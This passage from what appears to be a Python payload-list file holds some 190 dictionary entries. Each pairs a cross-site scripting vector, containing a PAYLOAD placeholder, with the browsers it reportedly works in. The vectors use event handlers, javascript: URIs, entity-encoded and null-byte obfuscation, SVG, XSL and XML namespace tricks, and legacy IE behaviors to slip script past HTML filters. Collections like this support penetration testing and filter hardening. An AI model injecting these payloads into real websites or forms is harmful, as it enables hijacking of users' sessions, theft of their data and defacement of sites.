  288. 'browser':"""[Not Info]"""},
  289. { 'payload':'''<body onunload body onunload="javascript:PAYLOAD"></body onunload>''',
  290. 'browser':"""[Not Info]"""},
  291. { 'payload':'''<iframe onload iframe onload="javascript:PAYLOAD"></iframe onload>''',
  292. 'browser':"""[Not Info]"""},
  293. { 'payload':'''<body onload body onload="javascript:PAYLOAD"></body onload>''',
  294. 'browser':"""[Not Info]"""},
  295. { 'payload':'''<html onmouseover html onmouseover="javascript:PAYLOAD"></html onmouseover>''',
  296. 'browser':"""[Not Info]"""},
  297. { 'payload':'''<object onbeforeload object onbeforeload="javascript:PAYLOAD"></object onbeforeload>''',
  298. 'browser':"""[Not Info]"""},
  299. { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:PAYLOAD"></body onbeforeunload>''',
  300. 'browser':"""[Not Info]"""},
  301. { 'payload':'''<body onfocus body onfocus="javascript:PAYLOAD"></body onfocus>''',
  302. 'browser':"""[Not Info]"""},
  303. { 'payload':'''<body onkeydown body onkeydown="javascript:PAYLOAD"></body onkeydown>''',
  304. 'browser':"""[Not Info]"""},
  305. { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:PAYLOAD"></iframe onbeforeload>''',
  306. 'browser':"""[Not Info]"""},
  307. { 'payload':'''<iframe src iframe src="javascript:PAYLOAD"></iframe src>''',
  308. 'browser':"""[Not Info]"""},
  309. { 'payload':'''<svg onload svg onload="javascript:PAYLOAD"></svg onload>''',
  310. 'browser':"""[Not Info]"""},
  311. { 'payload':'''<body onblur body onblur="javascript:PAYLOAD"></body onblur>''',
  312. 'browser':"""[Not Info]"""},
  313. { 'payload':'''<form id="X" /><button form="X" formaction="javascript:PAYLOAD">X''',
  314. 'browser':"""[HTML5 Injection]"""},
  315. { 'payload':'''<input onfocus=PAYLOAD autofocus>''',
  316. 'browser':"""[Not Info]"""},
  317. { 'payload':'''<input onblur=PAYLOAD autofocus><input autofocus>''',
  318. 'browser':"""[Not Info]"""},
  319. { 'payload':'''<video poster=javascript:PAYLOAD//''',
  320. 'browser':"""[HTML5 Injection]"""},
  321. { 'payload':'''<body onscroll=PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  322. 'browser':"""[Not Info]"""},
  323. { 'payload':'''<form id=X onforminput=PAYLOAD><input></form><button form=X onformchange=PAYLOAD>X''',
  324. 'browser':"""[HTML5 Injection]"""},
  325. { 'payload':'''<video><source onerror="javascript:PAYLOAD">''',
  326. 'browser':"""[Opera10.5+] [Chrome]"""},
  327. { 'payload':'''<video onerror="javascript:PAYLOAD"><source>''',
  328. 'browser':"""[FF3.5+]"""},
  329. { 'payload':'''<form><button formaction="javascript:PAYLOAD">X''',
  330. 'browser':"""[HTML5 Injection]"""},
  331. { 'payload':'''<body oninput=PAYLOAD><input autofocus>''',
  332. 'browser':"""[IE]"""},
  333. { 'payload':'''<math href="javascript:PAYLOAD">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:PAYLOAD">CLICKME</maction> </math>''',
  334. 'browser':"""[FF]"""},
  335. { 'payload':'''<frameset onload=PAYLOAD>''',
  336. 'browser':"""[Not Info]"""},
  337. { 'payload':'''<table background="javascript:PAYLOAD">''',
  338. 'browser':"""[Opera8|Opera10.5+] [IE6.0]"""},
  339. { 'payload':'''<!--<img src="--><img src=x onerror=PAYLOAD//">''',
  340. 'browser':"""[Not Info]"""},
  341. { 'payload':'''<comment><img src="</comment><img src=x onerror=PAYLOAD)//">''',
  342. 'browser':"""[IE]"""},
  343. { 'payload':'''<![><img src="]><img src=x onerror=PAYLOAD//">''',
  344. 'browser':"""[FF] [Opera]"""},
  345. { 'payload':'''<style><img src="</style><img src=x onerror=PAYLOAD//">''',
  346. 'browser':"""[Not Info]"""},
  347. { 'payload':'''<li style=list-style:url() onerror=PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=PAYLOAD></div>''',
  348. 'browser':"""[Opera10.5+]"""},
  349. { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,PAYLOAD//#">XXX</a></body>''',
  350. 'browser':"""[Opera8|Opera10.5] [IE]"""},
  351. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>PAYLOAD</SCRIPT>''',
  352. 'browser':"""[Opera] [IE]"""},
  353. { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(PAYLOAD)"></OBJECT>''',
  354. 'browser':"""[IE9.0]"""},
  355. { 'payload':'''<b <script>alert(PAYLOAD)</script>0''',
  356. 'browser':"""[Not Info]"""},
  357. { 'payload':'''<div id="div1"><input value="``onmouseover=PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
  358. 'browser':"""[Not Info]"""},
  359. { 'payload':"""<x '='foo'><x foo='><img src=x onerror=PAYLOAD//'>""",
  360. 'browser':"""[Not Info]"""},
  361. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=PAYLOAD>x''',
  362. 'browser':"""[IE]"""},
  363. { 'payload':"""<x '="foo"><x foo='><img src=x onerror=PAYLOAD//'>""",
  364. 'browser':"""[IE6.0]"""},
  365. { 'payload':'''<? foo="><script>PAYLOAD</script>">''',
  366. 'browser':"""[Not Info]"""},
  367. { 'payload':'''<! foo="><script>PAYLOAD</script>">''',
  368. 'browser':"""[Not Info]"""},
  369. { 'payload':'''</ foo="><script>PAYLOAD</script>">''',
  370. 'browser':"""[Not Info]"""},
  371. { 'payload':'''<? foo="><x foo="?><script>PAYLOAD</script>">">''',
  372. 'browser':"""[Not Info]"""},
  373. { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>PAYLOAD</script>">''',
  374. 'browser':"""[Not Info]"""},
  375. { 'payload':'''<% foo><x foo="%><script>PAYLOAD</script>">''',
  376. 'browser':"""[Not Info]"""},
  377. { 'payload':'''<div id=d><x xmlns="><iframe onload=PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
  378. 'browser':"""[IE]"""},
  379. { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:PAYLOAD>XXX</a>''',
  380. 'browser':"""[Safari] [Chrome]"""},
  381. { 'payload':'''<img src="x` `<script>PAYLOAD</script>"` `>''',
  382. 'browser':"""[IE]"""},
  383. { 'payload':'''<img src onerror /" '"= alt=PAYLOAD//">''',
  384. 'browser':"""[Safari]"""},
  385. { 'payload':'''<title onpropertychange=PAYLOAD></title><title title=>''',
  386. 'browser':"""[IE9.0]"""},
  387. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=PAYLOAD></a>">''',
  388. 'browser':"""[IE]"""},
  389. { 'payload':'''<!--[if]><script>PAYLOAD</script -->''',
  390. 'browser':"""[IE]"""},
  391. { 'payload':'''<!--[if<img src=x onerror=PAYLOAD//]> -->''',
  392. 'browser':"""[IE]"""},
  393. { 'payload':'''<script src="/\PAYLOAD"></script>''',
  394. 'browser':"""[Not Info]"""},
  395. { 'payload':'''<script src="\\PAYLOAD"></script>''',
  396. 'browser':"""[Not Info]"""},
  397. { 'payload':"""<a style="-o-link:'javascript:PAYLOAD';-o-link-source:current">X""",
  398. 'browser':"""[Opera]"""},
  399. { 'payload':"""<style>p[foo=bar{}*{-o-link:'javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>""",
  400. 'browser':"""[Opera]"""},
  401. { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(PAYLOAD)%7d''',
  402. 'browser':"""[Not Info]"""},
  403. { 'payload':'''<style>@import "data:,*%7bx:expression(PAYLOAD)%7D";</style>''',
  404. 'browser':"""[Not Info]"""},
  405. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="PAYLOAD;">XXX</a></a><a href="javascript:PAYLOAD">XXX</a>''',
  406. 'browser':"""[Not Info]"""},
  407. { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=PAYLOAD}}).$=eval</script>''',
  408. 'browser':"""[FF]"""},
  409. { 'payload':'''<script>({0:#0=eval/#0#/#0#(PAYLOAD)})</script>''',
  410. 'browser':"""[Not Info]"""},
  411. { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){PAYLOAD}),x</script>''',
  412. 'browser':"""[Not Info]"""},
  413. { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('PAYLOAD')()</script>''',
  414. 'browser':"""[Not Info]"""},
  415. { 'payload':'''<script src="#">{PAYLOAD}</script>;1''',
  416. 'browser':"""[Not Info]"""},
  417. { 'payload':'''+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),PAYLOAD;''',
  418. 'browser':"""[Not Info]"""},
  419. { 'payload':'''<b><script<b></b><PAYLOAD</script </b>''',
  420. 'browser':"""[Not Info]"""},
  421. { 'payload':'''<script<{PAYLOAD}/></script </>''',
  422. 'browser':"""[Not Info]"""},
  423. { 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'PAYLOAD',384,null,'rsa-dual-use')</script>''',
  424. 'browser':"""[FF]"""},
  425. { 'payload':'''<script>[{'a':Object.prototype.__defineSetter__('b',function(){eval(arguments[0])}),'b':['PAYLOAD']}]</script>''',
  426. 'browser':"""[Not Info]"""},
  427. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:PAYLOAD"></g></svg>''',
  428. 'browser':"""[Not Info]"""},
  429. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>PAYLOAD</script></svg>''',
  430. 'browser':"""[Not Info]"""},
  431. { 'payload':'''<svg onload="javascript:PAYLOAD" xmlns="http://www.w3.org/2000/svg"></svg>''',
  432. 'browser':"""[Not Info]"""},
  433. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:PAYLOAD"><rect width="1000" height="1000" fill="white"/></a> </svg>''',
  434. 'browser':"""[FF]"""},
  435. { 'payload':'''<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("PAYLOAD#x") format("svg");} body {font: 100px "y";} </style> </head> <body>X</body> </html>''',
  436. 'browser':"""[Opera 10]"""},
  437. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:PAYLOAD"/> <animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='PAYLOAD'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(PAYLOAD)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:PAYLOAD"/> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3EPAYLOAD%3C/script%3E"/> </svg>''',
  438. 'browser':"""[Opera] [FF]"""},
  439. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <set attributeName="onmouseover" to="PAYLOAD"/> <animate attributeName="onunload" to="PAYLOAD"/> </svg>''',
  440. 'browser':"""[Not Info]"""},
  441. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">PAYLOAD</handler> </svg>''',
  442. 'browser':"""[Opera]"""},
  443. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="foo"> <x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E PAYLOAD %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> </svg>''',
  444. 'browser':"""[Not Info]"""},
  445. { 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:PAYLOAD"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>''',
  446. 'browser':"""[Opera]"""},
  447. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg" id="x"> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <handler id="y">PAYLOAD</handler> </svg>''',
  448. 'browser':"""[Opera]"""},
  449. { 'payload':'''<svg><style>&ltimg/src=x onerror=PAYLOAD// </b>''',
  450. 'browser':"""[FF]"""},
  451. { 'payload':'''<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:PAYLOAD"/>''',
  452. 'browser':"""[IE]"""},
  453. { 'payload':'''<svg> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.PAYLOAD</script></svg>")'></svg>''',
  454. 'browser':"""[Opera]"""},
  455. { 'payload':'''<?xml-stylesheet href="javascript:PAYLOAD"?>''',
  456. 'browser':"""[Opera]"""},
  457. { 'payload':'''<!DOCTYPE x[<!ENTITY x SYSTEM "PAYLOAD">]><y>&x;</y>''',
  458. 'browser':"""[IE]"""},
  459. { 'payload':'''<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "PAYLOAD"><x>&x;</x>''',
  460. 'browser':"""[IE]"""},
  461. { 'payload':'''<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='X'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3EPAYLOAD%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>''',
  462. 'browser':"""[Opera]"""},
  463. { 'payload':'''<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "x" onerror CDATA "PAYLOAD"> ]><img /><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:PAYLOAD" xlink:type="simple">XXX</x> </doc>''',
  464. 'browser':"""[Opera] [FF]"""},
  465. { 'payload':'''<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:PAYLOAD"/></onevent><timer value="1"/></card>''',
  466. 'browser':"""[Opera]"""},
  467. { 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(PAYLOAD)"/>''',
  468. 'browser':"""[IE]"""},
  469. { 'payload':'''<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:PAYLOAD" xlink:type="simple"/>''',
  470. 'browser':"""[FF]"""},
  471. { 'payload':'''<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(PAYLOAD);%7d"?>''',
  472. 'browser':"""[Not Info]"""},
  473. { 'payload':'''<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:PAYLOAD"><x:timer value="1"/></x:template>''',
  474. 'browser':"""[Not Info]"""},
  475. { 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:PAYLOAD//#x"/>''',
  476. 'browser':"""[Opera]"""},
  477. { 'payload':'''<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="PAYLOAD#x"/>''',
  478. 'browser':"""[Opera]"""},
  479. { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`PAYLOAD` >''',
  480. 'browser':"""[IE]"""},
  481. { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=PAYLOAD&gt;`>''',
  482. 'browser':"""[Not Info]"""},
  483. { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=PAYLOAD&gt;>''',
  484. 'browser':"""[IE]"""},
  485. { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
  486. 'browser':"""[IE]"""},
  487. { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:PAYLOAD">XXX</a>''',
  488. 'browser':"""[IE]"""},
  489. { 'payload':'''<event-source src="PAYLOAD" onload="PAYLOAD">''',
  490. 'browser':"""[Opera]"""},
  491. { 'payload':'''<a href="javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">''',
  492. 'browser':"""[Opera]"""},
  493. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=PAYLOAD&gt;">''',
  494. 'browser':"""[IE]"""},
  495. { 'payload':'''<SCRIPT SRC=PAYLOAD?<B>''',
  496. 'browser':"""[Not Info]"""},
  497. { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=PAYLOAD>''',
  498. 'browser':"""[Not Info]"""},
  499. { 'payload':'''<SCRIPT/SRC="PAYLOAD"></SCRIPT>''',
  500. 'browser':"""[Not Info]"""},
  501. { 'payload':'''<iframe src=PAYLOAD <''',
  502. 'browser':"""[Not Info]"""},
  503. { 'payload':'''<LAYER SRC="PAYLOAD"></LAYER>''',
  504. 'browser':"""[Not Info]"""},
  505. { 'payload':'''<STYLE>li {list-style-image: url("javascript:PAYLOAD");}</STYLE><UL><LI>X''',
  506. 'browser':"""[Not Info]"""},
  507. { 'payload':'''<META HTTP-EQUIV="Link" Content="<PAYLOAD>; REL=stylesheet">''',
  508. 'browser':"""[Opera 8]"""},
  509. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
  510. 'browser':"""[Not Info]"""},
  511. { 'payload':'''<HTML xmlns:X><?import namespace="X" implementation="%(htc)s"><X:X>X</X:X></HTML>""","XML namespace."),("""<XML ID="X"><I><B>&lt;IMG SRC="javas<!-- -->cript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
  512. 'browser':"""[IE]"""},
  513. { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X&lt;SCRIPT DEFER&gt;PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
  514. 'browser':"""[IE]"""},
  515. { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="PAYLOAD">''',
  516. 'browser':"""[IE]"""},
  517. { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:PAYLOAD;');}</STYLE>''',
  518. 'browser':"""[Not Info]"""},
  519. { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>PAYLOAD&&;&&<&&/script&&>''',
  520. 'browser':"""[Not Info]"""},
  521. { 'payload':'''<SCRIPT onreadystatechange=javascript:PAYLOAD;></SCRIPT>''',
  522. 'browser':"""[IE]"""},
  523. { 'payload':'''<style onreadystatechange=javascript:PAYLOAD;></style>''',
  524. 'browser':"""[IE]"""},
  525. { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>PAYLOAD;</html:script></html:html>''',
  526. 'browser':"""[Not Info]"""},
  527. { 'payload':'''<embed code=javascript:PAYLOAD;></embed>''',
  528. 'browser':"""[Not Info]"""},
  529. { 'payload':'''<frameset onload=javascript:PAYLOAD></frameset>''',
  530. 'browser':"""[Not Info]"""},
  531. { 'payload':'''<object onerror=javascript:PAYLOAD>''',
  532. 'browser':"""[Not Info]"""},
  533. { 'payload':'''<embed type="image" src=PAYLOAD></embed>''',
  534. 'browser':"""[Not Info]"""},
  535. { 'payload':'''<a href="jav&#65ascript:PAYLOAD">X1</a>''',
  536. 'browser':"""[Opera]"""},
  537. { 'payload':'''<a href="jav&#97ascript:PAYLOAD">X1</a>''',
  538. 'browser':"""[Opera]"""},
  539. { 'payload':'''<embed width=500 height=500 code="data:text/html,<script>PAYLOAD</script>"></embed>''',
  540. 'browser':"""[Not Info]"""},
  541. { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=PAYLOAD&amp;gt;>">''',
  542. 'browser':"""[Not Info]"""},
  543. { 'payload':'''<script>if(document.createElement("td").cellIndex == 0){PAYLOAD}</script>''',
  544. 'browser':"""[IE]"""},
  545. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v == -1){PAYLOAD}</script>''',
  546. 'browser':"""[IE]"""},
  547. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v> 1){PAYLOAD}</script>''',
  548. 'browser':"""[IE]"""},
  549. { 'payload':'''<script>v=document.createElement("td").cellIndexif( v== undefined){PAYLOAD}</script>''',
  550. 'browser':"""[IE]"""},
  551. { 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
  552. 'browser':"""[IE7.0]"""},
  553. { 'payload':"""<sVg><scRipt %00>alert&lpar;PAYLOAD&rpar;""",
  554. 'browser':"""[Opera]"""},
  555. { 'payload':"""<svg><script x:href='PAYLOAD'""",
  556. 'browser':"""[Opera]"""},
  557. { 'payload':"""&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(PAYLOAD)>OnMouseOver""",
  558. 'browser':"""[Opera|FF2.0]"""},
  559. { 'payload':"""<svg><script psy> alert(PAYLOAD)""",
  560. 'browser':"""[Opera]"""},
  561. { 'payload':"""<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>""",
  562. 'browser':"""[Chrome]"""},
  563. { 'payload':"""<svg><style>{font-family&colon;'<iframe/onload=confirm(PAYLOAD)>'""",
  564. 'browser':"""[Chrome]"""},
  565. { 'payload':'''<input/onmouseover="javaSCRIPT&colon;confirm&lpar;PAYLOAD&rpar;"''',
  566. 'browser':"""[Chrome]"""},
  567. { 'payload':"""<img/src='%00' onerror=this.onerror=confirm(PAYLOAD)""",
  568. 'browser':"""[Chrome]"""},
  569. { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
  570. 'browser':"""[Chrome]"""},
  571. { 'payload':"""<img src='%00'&NewLine; onerror=alert(PAYLOAD)&NewLine;""",
  572. 'browser':"""[Chrome]"""},
  573. { 'payload':"""<script/&Tab; src='PAYLOAD' /&Tab;></script>""",
  574. 'browser':"""[Chrome]"""},
  575. { 'payload':"""<ScRipT 5-0*3+9/3=>prompt(PAYLOAD)</ScRipT giveanswerhere=?""",
  576. 'browser':"""[Chrome]"""},
  577. { 'payload':"""<script /*%00*/>/*%00*/alert(PAYLOAD)/*%00*/</script /*%00*/""",
  578. 'browser':"""[Chrome]"""},
  579. { 'payload':"""&#34;&#62;<h1/onmouseover='\u0061lert(PAYLOAD)'>%00""",
  580. 'browser':"""[Chrome]"""},
  581. { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=alert(PAYLOAD)>">''',
  582. 'browser':"""[Chrome]"""},
  583. { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(PAYLOAD)" http-equiv="refresh"/>''',
  584. 'browser':"""[Chrome]"""},
  585. { 'payload':"""<svg><script xlink:href=data&colon;,window.open('PAYLOAD')></script""",
  586. 'browser':"""[Chrome] [FF]"""},
  587. { 'payload':'''<meta http-equiv="refresh" content="0;url=javascript:confirm(PAYLOAD)">''',
  588. 'browser':"""[Chrome]"""},
  589. { 'payload':"""<img/&#09;&#10;&#11; src='~' onerror=prompt(PAYLOAD)>""",
  590. 'browser':"""[Chrome]"""},
  591. { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
  592. 'browser':"""[Chrome]"""},
  593. { 'payload':"""http://www.google<script .com>alert(PAYLOAD)</script""",
  594. 'browser':"""[Chrome]"""},
  595. { 'payload':"""<script ^__^>alert(PAYLOAD)</script ^__^""",
  596. 'browser':"""[Chrome]"""},
  597. { 'payload':"""</style &#32;><script &#32; :-(>/**/alert(PAYLOAD)/**/</script &#32; :-(""",
  598. 'browser':"""[Chrome]"""},
  599. { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
  600. 'browser':"""[Chrome]"""},
  601. { 'payload':"""<form><textarea &#13; onkeyup='PAYLOAD'>""",
  602. 'browser':"""[Chrome]"""},
  603. { 'payload':"""<script /***/>/***/confirm('PAYLOAD')/***/</script /***/""",
  604. 'browser':"""[Chrome]"""},
  605. { 'payload':"""<iframe srcdoc='&lt;body onload=prompt&lpar;PAYLOAD&rpar;&gt;'>""",
  606. 'browser':"""[Chrome]"""},
  607. { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(PAYLOAD)&NewLine;>X</a>''',
  608. 'browser':"""[Chrome]"""},
  609. { 'payload':"""<script ~~~>alert(PAYLOAD)</script ~~~>""",
  610. 'browser':"""[Chrome]"""},
  611. { 'payload':"""<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;PAYLOAD&rpar;>""",
  612. 'browser':"""[Chrome]"""},
  613. { 'payload':"""<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN""",
  614. 'browser':"""[Chrome]"""},
  615. { 'payload':"""<img/src='http://i.imgur.com/removed.png' onmouseover=&Tab;prompt(PAYLOAD)""",
  616. 'browser':"""[Chrome]"""},
  617. { 'payload':"""&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(PAYLOAD)>'""",
  618. 'browser':"""[Chrome]"""},
  619. { 'payload':"""<marquee onstart='javascript:alert&#x28;PAYLOAD&#x29;'>^__^""",
  620. 'browser':"""[Chrome]"""},
  621. { 'payload':"""<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)""",
  622. 'browser':"""[Chrome]"""},
  623. { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
  624. 'browser':"""[Chrome]"""},
  625. { 'payload':"""//|\\ <script //|\\ src='PAYLOAD'> //|\\ </script //|\\""",
  626. 'browser':"""[Chrome]"""},
  627. { 'payload':"""</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>""",
  628. 'browser':"""[Chrome]"""},
  629. { 'payload':'''<a/href="javascript:&#13; javascript:prompt(PAYLOAD)"><input type="X">''',
  630. 'browser':"""[Chrome]"""},
  631. { 'payload':"""</plaintext\></|\><plaintext/onmouseover=prompt(PAYLOAD)""",
  632. 'browser':"""[Chrome]"""},
  633. { 'payload':"""<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>""",
  634. 'browser':"""[Chrome]"""},
  635. { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)">''',
  636. 'browser':"""[Chrome]"""},
  637. { 'payload':'''<a href="jAvAsCrIpT&colon;alert&lpar;PAYLOAD&rpar;">X</a>''',
  638. 'browser':"""[Chrome]"""},
  639. { 'payload':'''<embed src="PAYLOAD">''',
  640. 'browser':"""[Chrome]"""},
  641. { 'payload':'''<object data="PAYLOAD">''',
  642. 'browser':"""[Chrome]"""},
  643. { 'payload':"""<var onmouseover="prompt(PAYLOAD)">On Mouse Over</var>""",
  644. 'browser':"""[Chrome]"""},
  645. { 'payload':'''<img src="/" =_=" title="onerror="prompt(PAYLOAD)"">''',
  646. 'browser':"""[Chrome]"""},
  647. { 'payload':"""<%<!--'%><script>alert(PAYLOAD);</script -->""",
  648. 'browser':"""[Chrome]"""},
  649. { 'payload':'''<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
  650. 'browser':"""[Chrome]"""},
  651. { 'payload':"""<iframe/src \/\/onload = prompt(PAYLOAD)""",
  652. 'browser':"""[Chrome]"""},
  653. { 'payload':"""<iframe/onreadystatechange=alert(PAYLOAD)""",
  654. 'browser':"""[Chrome] [IE]"""},
  655. { 'payload':"""<svg/onload=alert(PAYLOAD)""",
  656. 'browser':"""[Chrome]"""},
  657. { 'payload':"""<input value=<><iframe/src=javascript:confirm(PAYLOAD)""",
  658. 'browser':"""[Chrome]"""},
  659. { 'payload':"""<input type='text' value='' <div/onmouseover='alert(PAYLOAD)'>X</div>""",
  660. 'browser':"""[Chrome]"""},
  661. { 'payload':"""http://www.<script>alert(PAYLOAD)</script .com""",
  662. 'browser':"""[Chrome]"""},
  663. { 'payload':"""<svg><script ?>alert(PAYLOAD)""",
  664. 'browser':"""[Chrome]"""},
  665. { 'payload':"""<img src='xx:xx'onerror=alert(PAYLOAD)>""",
  666. 'browser':"""[Chrome]"""},
